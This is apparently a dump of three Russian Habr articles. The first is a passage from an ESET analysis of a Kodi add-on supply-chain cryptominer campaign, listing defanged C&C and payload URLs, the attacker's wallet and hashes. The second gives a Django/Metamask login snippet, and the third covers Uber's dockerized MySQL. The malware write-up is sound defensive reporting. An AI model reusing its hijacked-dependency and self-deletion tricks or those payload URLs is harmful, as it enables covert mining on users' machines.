соответствует имени легитимного дополнения, которое используется многими другими аддонами. Разница в том, что в других репозиториях только `script.module.simplejson` версии 3.4.0, а во вредоносном – версия 3.4.1. Kodi использует для обнаружения обновлений номер версии, поэтому все пользователи с включенной функцией автоматического обновления (включена по умолчанию) получают `script.module.simplejson` версии 3.4.1 из вредоносного репозитория. Единственная часть `script.module.simplejson` версии 3.4.1, которая изменена в сравнении с версией 3.4.0, – метаданные. Файл `addon.xml` содержит дополнительную строку: ![](https://habrastorage.org/r/w1560/webt/b2/h6/qb/b2h6qbd2lwqasj1c4umphdpmnt0.png) Она сообщает Kodi о возможности загрузки и установки аддона `script.module.python.requests` версии 2.16.0 и выше. Дополнение обрабатывается только вредоносным репозиторием. Это модификация легитимного аддона `script.module.requests`, содержащего дополнительный вредоносный код на Python. Этот код загружает в случае необходимости бинарный файл Windows или Linux и выполняет его. Исполняемый файл является загрузчиком, который извлекает и выполняет финальную полезную нагрузку – криптомайнер. Если установка майнера прошла успешно, код Python переходит к фазе самоустранения и удаляет себя. ![](https://habrastorage.org/r/w1560/webt/wg/qn/9o/wgqn9oufajk2ycjbhncvdzigpne.png) *Рисунок 2. Схема выполнения вредоносной программы* #### Код Python В проанализированном образца обфусцированный вредоносный код находился в файле `script.module.python.requests\lib\requests\packages\urllib3\connectionpool.py`, строки 846-862. ![](https://habrastorage.org/r/w1560/webt/m6/w6/5l/m6w65lb7yqqibg7tr-kkmzd5r_i.png) *Рисунок 3. Обфусцированный вредоносный код в connectionpool.py* После деобфускации и с комментариями код выглядит более читабельным, как показано на рисунке ниже. ![](https://habrastorage.org/r/w1560/webt/bh/wz/fg/bhwzfg7nxcoaurdpaiq6x5m1tzq.png) *Рисунок 4. Вредоносный код после деобфускации (с комментариями аналитика)* Автор кода явно хорошо знаком с экосистемой Kodi и архитектурой дополнений. Скрипт определяет, в какой ОС работает (поддерживаются только Windows и Linux, Android и macOS пока игнорируются), подключается к своему C&C серверу и выполняет соответствующий бинарный файл – модуль загрузчика. Бинарный файл Windows записывается в `C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TrustedInstaller.exe`, Linux – в `/tmp/systems/systemd`. После извлечения и запуска бинарного модуля загрузчика скрипт на Python – здесь `connectionpool.py` – запускает процедуру самоудаления. Как видно на рисунке 4, вредоносный код выделен специальными маркерами #-+- и #-\_-#. Запуск кода после успешного выполнения бинарного файла загрузчика открывает файл, находит эти маркеры и удаляет их, а также все между ними. Чистый файл затем сохраняется. В результате установку криптомайнера проблематично отследить до этого аддона Kodi. ![](https://habrastorage.org/r/w1560/webt/5o/be/sa/5obesaxlvuntaacsqnqt2rewu3i.png) *Рисунок 5. Самоудаление в коде на Python (с комментариями аналитика)* #### Исполняемый файл криптомайнера Модуль загрузчика (64-битный файл EXE для Windows, 64-битный файл ELF для Linux), извлеченный с помощью кода Python, содержит зашифрованную конфигурацию криптомайнера и ссылки на скачивание полезной нагрузки второго этапа – бинарных файлов криптомайнера. Бинарный загрузчик извлекает полезную нагрузку второго этапа для ОС (бинарный файл криптомайнера для разных графических процессоров и вредоносный модуль запуска/обновлений) в защищенном паролем ZIP-архиве. Бинарники скомпилированы для 64-битных Windows и Linux, в их основе – опенсорсное ПО для майнинга XMRStak. Конфигурация майнера следующая: `{"monero":{"default":{"wallet":"49WAk6TaCMX3HXN22nWPQAfBjP4J3ReUKg9tu3FoiPugcJs3fsnAvyGdrC41HZ4N6jcHEiwEGvH7z4Sn41PoZtLABFAVjm3","password":"","name":"","email":"","weight":1,"format":{"rig":"","address":"%w%.%n%/%e%","password":"%p%"}},"pools":[{"host":"xmr-us-east1.nanopool.org:14444"},{"host":"xmr-eu1.nanopool.org:14444"},{"host":"xmr-asia1.nanopool.org:14444"}]}}` ### Как обнаружить заражение Пользователи медиаплеера Kodi для Windows или Linux, которые устанавливали дополнения из сторонних репозиториев или готовые сборки, могут участвовать в майнинге в пользу операторов данной кампании. Чтобы проверить устройство на предмет компрометации, нужно просканировать его антивирусным ПО. Для Windows можно использовать бесплатный [ESET Online Scanner](https://www.esetnod32.ru/download/utilities/online_scanner/), для Linux бесплатную триалку [ESET NOD32 Antivirus for Linux Desktop](https://www.esetnod32.ru/home/products/antivirus-linux/). Пользователи актуальных версий продуктов ESET уже защищены. Продукты ESET детектируют угрозу как Win64/CoinMiner.II и Win64/CoinMiner.MK на Windows, Linux/CoinMiner.BC, Linux/CoinMiner.BJ, Linux/CoinMiner.BK и Linux/CoinMiner.CU на Linux. ### Выводы Большинство репозиториев, изначально распространявших майнер в экосистеме Kodi, закрыты или очищены. Тем не менее, многие устройства все еще заражены. Как видно на рисунке ниже, операторы кампании продолжают зарабатывать. ![](https://habrastorage.org/r/w1560/webt/wg/ns/ep/wgnsepqy9zw_k1rljmwwowjjfpc.png) *Рисунок 6. Заработок операторов криптомайнеров* По статистике Monero-кошелька операторов, представленного Nanopool, на момент написания поста заражено минимум 4774 компьютеров и добыто 62,57 XMR (5700 евро или 6700 долларов). Инцидент интересен, поскольку это второе вредоносное ПО и первый криптомайнер, распространяющийся через экосистему Kodi. Кроме того, в кампании использовалась необычная техника компрометации. Авторы используют систему аддонов Kodi, совместимых с большинством операционных систем, чтобы нацеливать вредоносное ПО на Linux и Windows. Вероятно, операторы могли скомпрометировать больше ОС. Как вариант, они могли создавать собственные версии майнера для этих платформ или поставлять адаптированные полезные нагрузки (например, менее энергозатратные для устройств с небольшой мощностью батареи). По мере ужесточения мер безопасности ОС, дополнения к популярному ПО станут более популярной целью злоумышленников. Мы уже наблюдали похожие инциденты ранее с макросами Visual Basic в приложениях Microsoft Office. Не факт, что аддоны Kodi станут «новыми VBA», но данный инцидент указывает на такое развитие событий. ### Индикаторы компрометации #### Вредоносные аддоны Kodi Поскольку оригинальные репозитории с вредоносными аддонами (Bubbles и Gaia) уже удалены, ниже представим ссылки на зеркальные копии репозиториев, которые все еще содержат код майнеров, а также примеры случайно выбранных вредоносных сборок Kodi. Важно отметить, что владельцы репозиториев, скорее всего, распространяют вредоносные аддоны неосознанно. **Зеркальные копии Bubbles** `github[.]com/yooperman17/trailerpark/blob/master/repository/repository.bubbles.3/repository.bubbles.3-4.2.0[.]zip github[.]com/yooperman17/trailerpark/blob/master/repository/common/script.module.urllib.3/script.module.urllib.3-1.22.3[.]zip` **Зеркальные копии Gaia** `github[.]com/josephlreyes/gaiaorigin/blob/master/common/script.module.python.requests/script.module.python.requests-2.16.1[.]zip github[.]com/josephlreyes/gaiaorigin/blob/master/common/script.module.simplejson/script.module.simplejson-3.4.1[.]zip` **Вредоносные файлы, ранее доступные в репозитории XvBMC** `github[.]com/XvBMC/repository.xvbmc/tree/b8f5dd59961f2e452d0ff3fca38b26c526c1aecb/Dependencies/script.module[.]simplejson github[.]com/XvBMC/repository.xvbmc/tree/b8f5dd59961f2e452d0ff3fca38b26c526c1aecb/Dependencies/script.module.python[.]requests github[.]com/XvBMC/repository.xvbmc/blob/b8f5dd59961f2e452d0ff3fca38b26c526c1aecb/Dependencies/zips/script.module.python.requests/script.module.python.requests-2.16.3[.]zip github[.]com/XvBMC/repository.xvbmc/blob/b8f5dd59961f2e452d0ff3fca38b26c526c1aecb/Dependencies/zips/script.module.simplejson/script.module.simplejson-3.4.1[.]zip` **Примеры вредоносных сборок Kodi** `archive[.]org/download/retrogamesworld7_gmail_Kodi_20180418/kodi[.]zip archive[.]org/download/DuggzProBuildWithSlyPVRguideV0.3/DuggzProBuildWithSlyPVRguideV0.3[.]zip ukodi1[.]xyz/ukodi1/builds/Testosterone%20build%2017[.]zip` #### URL-адреса C&C-серверов: `openserver[.]eu/ax.php kodinet.atspace[.]tv/ax.php kodiupdate.hostkda[.]com/ax.php kodihost[.]rf.gd/ax.php updatecenter[.]net/ax.php stearti.atspace[.]eu/ax.php mastercloud.atspace[.]cc/ax.php globalregistry.atspace.co[.]uk/ax.php meliova.atwebpages[.]com/ax.php krystry.onlinewebshop[.]net/ax.php` #### Модуль загрузчика (Windows) `openserver[.]eu/wib kodinet.atspace[.]tv/wib kodiupdate.hostkda[.]com/wib kodihost.rf[.]gd/wib updatecenter[.]net/wib bitbucket[.]org/kodiserver/plugin.video.youtube/raw/HEAD/resources/lib/wib gitlab[.]com/kodiupdate/plugin.video.youtube/raw/master/resources/lib/wib www.dropbox[.]com/s/51fgb0ec9lgmi0u/wib?dl=1&raw=1` #### Модуль загрузчика (Linux) `openserver[.]eu/lib kodinet.atspace[.]tv/lib kodiupdate.hostkda[.]com/lib kodihost.rf[.]gd/lib updatecenter[.]net/lib bitbucket[.]org/kodiserver/plugin.video.youtube/raw/HEAD/resources/lib/lib gitlab[.]com/kodiupdate/plugin.video.youtube/raw/master/resources/lib/lib www.dropbox[.]com/s/e36u2wxmq1jcjjr/lib?dl=1&raw=1` #### Бинарные файлы криптомайнера (Windows) `updatecenter[.]net/wub openserver[.]eu/wub glocato.atspace[.]eu/wub oraceur.hostkda[.]com/wub dilarti.1free-host[.]com/wub utudict.vastserve[.]com/wub encelan.atspace[.]cc/wub` #### Бинарные файлы криптомайнера (Linux) `updatecenter[.]net/lub openserver[.]eu/lub glocato.atspace[.]eu/lub oraceur.hostkda[.]com/lub dilarti.1free-host[.]com/lub utudict.vastserve[.]com/lub encelan.atspace[.]cc/lub` #### Хеши вредоносных аддонов `B8FD019D4DAB8B895009B957A7FEBAEFCEBAFDD1 BA50EAA31441D5E2C0224B9A8048DAF4015735E7 717C02A1B040187FF54425A64CB9CC001265C0C6 F187E0B6872B096D67C2E261BE41910DAF057761 4E2F1E9E066D7D21CED9D690EF6119E59CF49176 53E7154C2B68EDBCCF37FB73EEB3E042A1DC7108 FF9E491E8E7831967361EDE1BD26FCF1CD640050 3CC8B10BDD5B98BEA94E97C44FFDFB1746F0C472 389CB81D91D640BA4543E178B13AFE53B0E680B5 6DA595FB63F632EE55F36DE4C6E1EB4A2A833862 9458F3D601D30858BBA1AFE1C281A1A99BF30542 B4894B6E1949088350872BDC9219649D50EE0ACA 79BCC4F2D19A394DD2DB2B601208E1D1EA57565B AAAEDE03F6C014CEE8EC0D9C0EA4FC7B0E67DB59 C66B5ADF3BDFA87B0731512DD2654F4341EBAE5B F0196D821381248EB8717F47C70D8C235E83A12E 7CFD561C215DC04B702FE40A199F0B60CA706660` ESET детектирует вредоносный код на Python как Python/CoinMiner.W. #### Хэши криптомайнеров и модулей загрузчика (Windows) `08406EB5A8E75F53CFB53DB6BDA7738C296556D6 2000E2949368621E218529E242A8F00DC8EC91ED 5B1F384227F462240178263E8F2F30D3436F10F5 B001DD66780935FCA865A45AEC97C85F2D22A7E2 C6A4F67D279478C18BE67BEB6856F3D334F4AC42 EE83D96C7F1E3510A0D7D17BBF32D5D82AB54EF3` ESET детектирует криптомайнер и модули загрузчика как Win64/CoinMiner.II и/или Win64/CoinMiner.MK. Наша телеметрия показывает больше 100 различных хешей для имен детектирования. #### Хеши криптомайнеров и модулей загрузчика (Linux) `38E6B46F34D82BD23DEACD23F3ADD3BE52F1C0B6 90F39643381E2D8DFFF6BA5AB2358C4FB85F03FC B9173A2FE1E8398CD978832339BE86445ED342C7 D5E00FB7AEA4E572D6C7C5F8D8570DAB5E1DD156 D717FEC7E7C697D2D25080385CBD5C122584CA7C DF5433DC7EB272B7B837E8932E4540B216A056D8` ESET детектирует Linux-версию криптомайнера и модули загрузчика как Linux/CoinMiner.BC, Linux/CoinMiner.BJ, Linux/CoinMiner.BK и Linux/CoinMiner.CU.
https://habr.com/ru/post/423541/
null
ru
null
# Аутентификация в Django при помощи Metamask Сегодня мы напишем простой сниппет для аутентификации пользователей на сайте при помощи кошелька Metamask. Замечу, что данное решение максимально изолировано от фреймворка. Вы сможете легко адаптировать его не только к Django, но и к Flask, Sanic, Starlette, Aiohttp и т.п. Сниппет будет состоять из двух частей - `django template` и `django view`. --- Начнем с `django template`. Допустим у нас есть шаблон для аутентификации `templates/login.html` Создадим `кнопку аутентификации` при нажатии на которую будет вызван Metamask. ``` Log in with Metamask ``` Создадим обслуживающий скрипт. ``` function web3Login() { /\* Подписываем сообщение \*/ try { window.ethereum.enable().then(function () { provider = new ethers.providers.Web3Provider(window.ethereum); provider.getNetwork().then(function (result) { if (result['chainId'] != 1) { alert('Switch to Mainnet!'); } else { provider.listAccounts().then(function (result) { accountAddress = result[0]; signer = provider.getSigner(); signer.signMessage("Sign to auth {{ csrf\_token }}").then((signature) => {web3LoginBackend(accountAddress, signature)}); }) } }) }) } catch { alert('Please install MetaMask for your browser.') } } function web3LoginBackend(accountAddress, signature) { /\* Отправляем данные на django view \*/ var form = document.createElement('form'); form.action = '{% url "main:auth\_web3" %}'; // TODO замените на свой адрес form.method = 'POST'; var input = document.createElement('input'); input.type = 'hidden'; input.name = 'csrfmiddlewaretoken'; input.value = '{{ csrf\_token }}'; form.appendChild(input); var input = document.createElement('input'); input.type = 'hidden'; input.name = 'accountAddress'; input.value = accountAddress; form.appendChild(input); var input = document.createElement('input'); input.type = 'hidden'; input.name = 'signature'; input.value = signature; form.appendChild(input); document.body.appendChild(form); form.submit(); } ``` Данный скрипт состоит из двух функций `web3Login` и `web3LoginBackend`. При нажатии на `кнопку аутентификации` вызывается функция `web3Login`, которая активирует окно «Запрос подписи» в Metamask. Подписывать мы будем сообщение вида `Sign to auth {{ csrf_token }}.` После нажатия на кнопку «Подписать» вызывается функция `web3LoginBackend`, которая отправит данные (csrf token, адрес кошелька и подпись сообщения) в `django view`. --- Перейдем к `django view`. Установим необходимые зависимости. `pip install web3==5.30.0` `pip install eth-account==0.5.9` `pip install names==0.3.0` `pip install shortuuid==1.0.9` Создадим`django view`. ``` import datetime import secrets import names import string import shortuuid from django.contrib import messages from django.contrib.auth import authenticate from django.contrib.auth import login from django.contrib.auth.models import User from django.http import HttpResponse from django.http import HttpResponseRedirect from django.shortcuts import render from django.shortcuts import reverse from eth_account.messages import defunct_hash_message from web3.auto import w3 from user_profile.models import UserProfile # TODO измените на свою модель def auth_web3(request): public_address = request.POST["accountAddress"] signature = request.POST["signature"] csrf_token = request.POST["csrfmiddlewaretoken"] original_message = f"Sign to auth {csrf_token}" message_hash = defunct_hash_message(text=original_message) signer = w3.eth.account.recoverHash(message_hash, signature=signature) short_uuid = shortuuid.uuid() if signer == public_address: user_profile = UserProfile.objects.filter(eth_account_address=public_address).first() if user_profile: try: user = user_profile.user except: messages.add_message(request, messages.WARNING, _("Профайл не найден")) return HttpResponseRedirect( reverse( "main:user_login", # TODO измените на свой адрес ) ) user.backend = "django.contrib.auth.backends.ModelBackend" login(request, user) return HttpResponseRedirect(reverse("main:dashboard")) # TODO измените на свой адрес else: alphabet = string.ascii_letters + string.digits password = "".join(secrets.choice(alphabet) for i in range(20)) first_name = names.get_first_name() last_name = names.get_last_name() email = f"{short_uuid}@{HOST}" user = User.objects.create_user(email=email, username=short_uuid, first_name=first_name, last_name=last_name, password=password) user_profile = UserProfile() user_profile.user = user user_profile.eth_account_address = public_address user_profile.save() user.backend = "django.contrib.auth.backends.ModelBackend" login(request, user) messages.success(request, _("Успешная регистрация.")) return HttpResponseRedirect(reverse("main:dashboard")) # TODO измените на свой адрес else: messages.add_message(request, messages.WARNING, _("Обновите страницу и попробуйте еще раз")) return HttpResponseRedirect( reverse( "main:user_login", # TODO измените на свой адрес ) ) ``` На строке 26 мы дублируем сообщение с `django template` `original_message = f"Sign to auth {csrf_token}"` И восстанавливаем адрес кошелька при помощи подписи `signature` полученной из `django tempate` после отправки данных в `django view`. `message_hash = defunct_hash_message(text=original_message)` `signer = w3.eth.account.recoverHash(message_hash, signature=signature)` Если восстановленный адрес `signer` равен адресу `public_address` (адресу кошелька пользователя) отправленному из `django template`, то аутентификация прошла успешно и все что нам остается это сделать немного "магии". P.S. Рабочий пример можно найти по адресу [workhours.space](https://workhours.space/). А еще это удобный и бесплатный трекер времени с удобным ботом в телеграм - пользуйтесь.
https://habr.com/ru/post/684958/
null
ru
null
# Докеризация MySQL в Uber ![](https://habrastorage.org/r/w1560/files/8bf/909/41a/8bf90941a6d14a148f2fac95477f78a4.png) Разработанная инженерами Uber система хранения данных [Schemaless](https://eng.uber.com/schemaless-part-one/) используется в нескольких самых важных и крупных сервисах нашей компании (например, [Mezzanine](https://eng.uber.com/mezzanine-migration/)). Schemaless — это масштабируемое и отказоустойчивое хранилище данных, работающее поверх кластеров [MySQL¹](http://www.mysql.com/). Когда этих кластеров было 16, управление ими было несложным делом. Но в настоящий момент у нас их более 1 000, и в них развернуто не менее 4 000 серверов баз данных. Управление такой системой требует инструментов совсем другого класса. Из множества компонентов, входящих в Schemadock, сравнительно небольшой, но очень важной частью является Docker. Переход на более масштабируемое решение стал для нас знаковым событием, и в данной статье мы рассказали о том, как Docker помог нам этого добиться. Изначально для управления всеми кластерами мы использовали [Puppet](https://puppet.com/), разнообразные скрипты, а также делали многие вещи вручную. Но чем быстрее рос Uber и чем больше он становился, тем сложнее было продолжать использовать этот подход. Поэтому мы начали искать более удобные инструменты для управления кластерами MySQL. Основные требования свелись к следующим: * Работа нескольких серверов БД на одном хосте. * Полная автоматизация. * Единая точка входа для организации управления и мониторинга всех кластеров во всех датацентрах. В итоге родилось решение под названием Schemadock. Теперь наши MySQL-серверы работают в [Docker](https://www.docker.com/)-контейнерах, которые управляются целевыми состояниями, определяющими топологию кластера с помощью файлов конфигурации. В них может быть указано, что, например, в кластере «A» должно быть 3 сервера, и который из них должен стать мастером. Применение соответствующих ролей к индивидуальным серверам выполняется специальными программами-агентами. Единый сервис осуществляет мониторинг целевых состояний всех серверов и в случае отклонений от нормы выполняет необходимые действия для исправления ситуации. Почему Docker? -------------- Контейнеры упрощают задачу запуска на одном хосте множества процессов MySQL, имеющих разные версии и конфигурации. Это также позволяет расположить на одной машине несколько небольших кластеров, что в итоге дает возможность использовать меньшее количество хостов при том же количестве кластеров. Наконец, мы больше не зависим от Puppet и имеем одинаковые настройки хостов. Что касается самого Докера: в настоящее время наши инженеры создают все stateless-сервисы на его основе, поэтому мы хорошо знаем эту систему. Она, конечно, не идеальна, но на данный момент является для нас лучшей альтернативой. ### Что есть помимо Docker? Альтернативы Docker следующие: полная виртуализация, [LXC-контейнеры](https://linuxcontainers.org/), а также управление процессами MySQL напрямую с помощью, например, Puppet. Мы не очень долго выбирали, поскольку Docker лучше всего подходил к существовавшей на тот момент инфраструктуре. Однако, если бы до этого мы не использовали Docker, его внедрение только для MySQL могло бы стать довольно большим проектом, для которого необходимо было бы освоить создание и распространение образов, мониторинг и обновление самого Докера, сбор логов, особенности работы с сетью и многое другое. Это значит, что внедрение Docker требует ресурсов и времени. Более того, Docker необходимо рассматривать в качестве технологии и не ожидать от него решения всех проблем. Мы в Uber очень тщательно подошли к проектированию системы управления базами данных MySQL, где Docker является лишь одной из составных частей. Но не все компании достигли масштабов Uber, поэтому им может лучше подойти вариант с использованием Puppet, [Ansible](https://en.wikipedia.org/wiki/Ansible_(software)) или аналогичного ПО. Образ для Schemaless -------------------- В основном наш образ лишь загружает и устанавливает [Percona Server](https://www.percona.com/software/mysql-database/percona-server), а также запускает [mysqld](http://dev.mysql.com/doc/refman/5.7/en/mysqld.html) — практически то же самое, что делает стандартный образ Docker с MySQL на борту. Однако между загрузкой и установкой выполняется еще несколько операций. * Если на подключенном томе нет данных, значит, необходима начальная загрузка. Для мастера запускаем mysql\_install\_db, а также создаем несколько стандартных пользователей и таблиц. Для реплики (minion в терминологии Uber — Прим. перев.) запускаем загрузку данных из резервной копии или другой ноды в кластере. * Mysqld будет запущен сразу после завершения загрузки данных. * Если копирование данных по тем или иным причинам не закончится, контейнер будет остановлен. Роль контейнера задается с помощью переменных окружения. Стоит обратить внимание на механизм получения данных — сам образ не содержит какой-либо логики настройки топологий репликации, проверки статусов и т. д. Поскольку эта логика меняется чаще, чем сам MySQL, весьма разумным будет их разделить. Директория с данными MySQL монтируется из файловой системы хоста, что означает отсутствие обусловленных Docker накладных расходов на запись. Мы все же записываем в образ конфигурацию MySQL, что делает его немутабельным. Несмотря на то что саму конфигурацию можно отредактировать, эти изменения никогда не вступят в силу, так как мы не используем контейнеры повторно. Если контейнер по какой-либо причине останавливается, он не будет использован еще раз. Мы удаляем контейнер, создаем новый из самого свежего образа, используя такие же параметры (либо новые, если целевое состояние с тех пор изменилось), и запускаем его. Такой подход дает нам следующие преимущества: * Становится гораздо проще контролировать дрейф конфигурации. Проблема сводится к номерам версий Docker-образов, которые мы тщательно мониторим. * Значительно упрощается обновление MySQL. Мы создаем новый образ, а затем по порядку останавливаем контейнеры. * Если что-то сломалось, оно просто перезапускается. Мы удаляем проблемный контейнер и стартуем новый, не пытаясь ничего чинить. Для создания образов используется та же самая инфраструктура, что обеспечивает работу stateless-сервисов. Она же реплицирует образы между датацентрами, чтобы сделать их доступными в локальных реестрах. В работе нескольких контейнеров на одном хосте есть и недостатки. Поскольку между контейнерами нет нормальной I/O-изоляции, любой из них может использовать всю пропускную способность системы ввода-вывода, что крайне негативно скажется на работе остальных контейнеров. В Docker 1.10 появились I/O-квоты, но мы еще не успели с ними поэкспериментировать. Пока мы боремся с этой проблемой путем контроля количества контейнеров на хосте и постоянно мониторим производительность каждой базы данных. Настройка контейнеров и топологий --------------------------------- Теперь, когда у нас есть образ Docker, который может быть сконфигурирован в роли мастера или реплики, что-то должно запускать контейнеры и настраивать на них требуемую топологию репликации. Для этого на каждом хосте запущен специальный агент, который получает информацию о конечном состоянии для всех баз данных. Типичное описание конечного состояния выглядит следующим образом: ``` “schemadock01-mezzanine-mezzanine-us1-cluster8-db4”: { “app_id”: “mezzanine-mezzanine-us1-cluster8-db4”, “state”: “started”, “data”: { “semi_sync_repl_enabled”: false, “name”: “mezzanine-us1-cluster8-db4”, “master_host”: “schemadock30”, “master_port”: 7335, “disabled”: false, “role”: “minion”, “port”: 7335, “size”: “all” } } ``` Здесь говорится, что на хосте schemadock01 должна быть запущена одна реплика базы данных [Mezzanine](https://eng.uber.com/mezzanine-migration/) (порт 7335), мастером для нее должна стать база на schemadock30:7335. Параметр size имеет значение all. Это означает, что данная база является единственной на schemadock01, и она должна использовать всю доступную память. Процедура создания такого описания целевого состояния является темой для отдельной публикации, поэтому мы перейдем к дальнейшим шагам: агент, выполняющийся на хосте, получает и локально сохраняет описание целевого состояния, а затем начинает его обработку. Обработка — это бесконечный цикл, выполняющийся каждые 30 секунд (что-то похожее на запуск Puppet раз в полминуты). В цикле проверяется соответствие текущего и целевого состояний. Для этого выполняются следующие действия: 1. Проверить, запущен ли контейнер. Если нет, создать и запустить. 2. Проверить топологию репликации контейнера. Если с ней что-то не так, попытаться починить. * Если это реплика, а должен быть мастер, убедиться, что изменение роли будет безопасным. Для этого проверить, установлен ли статус read-only текущего мастера, а также все ли [GTIDs](https://dev.mysql.com/doc/refman/5.6/en/replication-gtids-concepts.html) получены и применены. Если все условия соблюдены, можно удалить связь с предыдущим мастером и включить возможность записи. * Если это мастер, который должен быть выведен из строя, включить режим read-only. * Если это реплика, но репликация не выполняется, настроить репликацию. 3. Проверить различные параметры MySQL (read\_only и super\_read\_only, sync\_binlog и т. д.) согласно роли базы. На мастерах должна быть разрешена запись, реплики должны быть read\_only и т. д. Более того, мы снижаем нагрузку на реплики путем отключения binlog fsync и аналогичных параметров². 4. Запустить или остановить все вспомогательные контейнеры, такие как [pt-heartbeat](https://www.percona.com/doc/percona-toolkit/2.1/pt-heartbeat.html) и [pt-deadlock-logger](https://www.percona.com/doc/percona-toolkit/2.1/pt-deadlock-logger.html). Важно отметить, что мы являемся убежденными сторонниками идеи «один процесс — одна цель — один контейнер». В этом случае нам не приходится перенастраивать работающие контейнеры, к тому же значительно упрощается обновление. В случае возникновения любой ошибки процесс генерирует соответствующее сообщение и завершается, а вся процедура во время следующей попытки повторяется заново. Мы стараемся настроить систему таким образом, чтобы свести необходимость координации между агентами к минимуму. Это значит, что нас не заботит очередность при инициализации нового кластера, например. Если делать эту операцию вручную, то надо выполнить примерно следующие шаги: * создать MySQL-мастер и подождать, пока он не будет готов к работе, * создать первую реплику и подключить ее к мастеру, * повторить предыдущий пункт для оставшихся реплик. В итоге что-то подобное все же происходит. Но при этом нас совершенно не заботит очередность выполнения шагов. Мы лишь создаем целевые состояния, описывающие необходимую нам конфигурацию: ``` “schemadock01-mezzanine-cluster1-db1”: { “data”: { “disabled”: false, “role”: “master”, “port”: 7335, “size”: “all” } }, “schemadock02-mezzanine-cluster1-db2”: { “data”: { “master_host”: “schemadock01”, “master_port”: 7335, “disabled”: false, “role”: “minion”, “port”: 7335, “size”: “all” } }, “schemadock03-mezzanine-cluster1-db3”: { “data”: { “master_host”: “schemadock01”, “master_port”: 7335, “disabled”: false, “role”: “minion”, “port”: 7335, “size”: “all” } } ``` Эта информация отправляется соответствующим агентам в произвольном порядке, и они начинают выполнять задание. Для достижения целевого состояния в зависимости от очередности может потребоваться несколько попыток. Обычно их немного, но некоторые операции перезапускаются сотни раз. Например, если сначала запускаются реплики, они не смогут подключиться к мастеру и должны будут пытаться сделать это снова и снова, пока он не войдет в строй (что может занять длительное время): ![](https://habrastorage.org/r/w1560/files/2dc/417/ddb/2dc417ddb3e14326a7306043fc59c735.png) *Пример, в котором две реплики стартовали раньше мастера. На шагах 1 и 2 они не смогут получить снимок с мастера, поэтому процесс запуска завершится неудачей. Когда мастер наконец запустится (на шаге 3), реплики смогут подключиться и синхронизировать данные (шаги 4 и 5).* Работа в среде Docker --------------------- На большинстве наших хостов установлен Docker 1.9.1 с devicemapper на [LVM](https://en.wikipedia.org/wiki/Logical_Volume_Manager_(Linux)). Использование LVM для devicemapper оказалось более производительным решением по сравнению с loopback. У devicemapper много проблем, связанных с производительностью и надежностью, но альтернативы, такие как [AuFS](https://en.wikipedia.org/wiki/Aufs) и [OverlayFS](https://en.wikipedia.org/wiki/OverlayFS), также далеки от идеала³. Сообщество долго не могло определиться, какой вариант организации хранилища лучше. Но в последнее время все больше голосов звучит в пользу OverlayFS, которая к тому же, кажется, стабилизировалась, поэтому мы собираемся перейти на эту файловую систему и одновременно обновиться до Docker 1.12.1. Одним из неудобств Docker является требование по перезапуску контейнеров при перезагрузке сервиса. Это означает, что мы должны контролировать процесс обновления, так как у нас не будет работающих мастеров во время обновления хоста. К счастью, в Docker 1.12 добавлена опция перезагрузки и обновления демона без перезапуска контейнеров, поэтому мы надеемся, что с этой проблемой нам предстоит столкнуться в последний раз. В каждой следующей версии Docker появляется много улучшений и новых возможностей, а также приличное количество ошибок. 1.12.1 кажется лучше предыдущих, но мы все еще сталкиваемся с определенными проблемами: * Иногда docker inspect виснет после того, как Docker проработал без остановки несколько дней. * Использование bridge networking с [userland proxy](https://docs.docker.com/engine/reference/commandline/dockerd/) приводит к странному поведению при завершении TCP-соединений. Клиентские соединения иногда не получают сигнал RST и остаются открытыми независимо от установленного таймаута. * Процессы контейнеров иногда переподчиняются pid 1 (init), и Docker их теряет. * Регулярно происходят случаи, когда Docker-демон очень долго создает новые контейнеры. Заключение ---------- Мы начали с того, что определили список требований к системе управления кластером хранения данных в Uber: 1) несколько контейнеров на одном хосте, 2) автоматизация, 3) единая точка входа. Теперь мы можем выполнять ежедневное обслуживание с помощью единого пользовательского интерфейса и простых инструментов, ни один из которых не требует прямого доступа к хостам: ![](https://habrastorage.org/files/b72/41d/ddb/b7241dddb56f40f58e161b3977ab71f1.gif) *Скриншот нашей консоли управления. Здесь можно увидеть процесс достижения целевого состояния: в данном случае мы разбиваем кластер на две части, сначала добавив второй кластер, а затем разорвав репликационную связь.* За счет запуска нескольких контейнеров на одном хосте мы более полно используем вычислительные ресурсы. Стало возможным выполнение контролируемого обновления всего парка машин. С помощью Docker нам достаточно быстро удалось этого добиться. Docker также позволяет запустить установку всего кластера целиком в тестовом окружении, что может быть использовано для испытания различных эксплуатационных процедур. Мы начали миграцию на Docker в начале 2016, и сейчас у нас запущено около 1500 production-серверов Docker (только для MySQL), на которых развернуто около 2300 баз данных MySQL. В Schemadock есть много других компонентов, но именно Docker нам очень помог. С ним мы получили возможность быстрого продвижения вперед, много экспериментируя в тесной связи с существующей инфраструктурой Uber. Хранилище поездок, в которое добавляется по несколько миллионов записей в день, теперь основано на докеризированных базах данных MySQL (совместно с хранилищами другой информации). Другими словами, теперь без Docker пользователи Uber в буквальном смысле слова далеко не уедут. *Joakim Recht является штатным специалистом (инженером) по программному обеспечению в офисе Uber Engineering’s Aarhus, а также техлидом по автоматизации инфраструктуры Schemaless.* --- ¹ Если быть точным, Percona Server 5.6 ² sync\_binlog = 0 и innodb\_flush\_log\_at\_trx\_commit = 2 ³ Небольшая коллекция проблем: <https://github.com/docker/docker/issues/16653>, <https://github.com/docker/docker/issues/15629>, <https://developerblog.redhat.com/2014/09/30/overview-storage-scalability-docker/>, <https://github.com/docker/docker/issues/12738>
https://habr.com/ru/post/322142/
null
ru
null
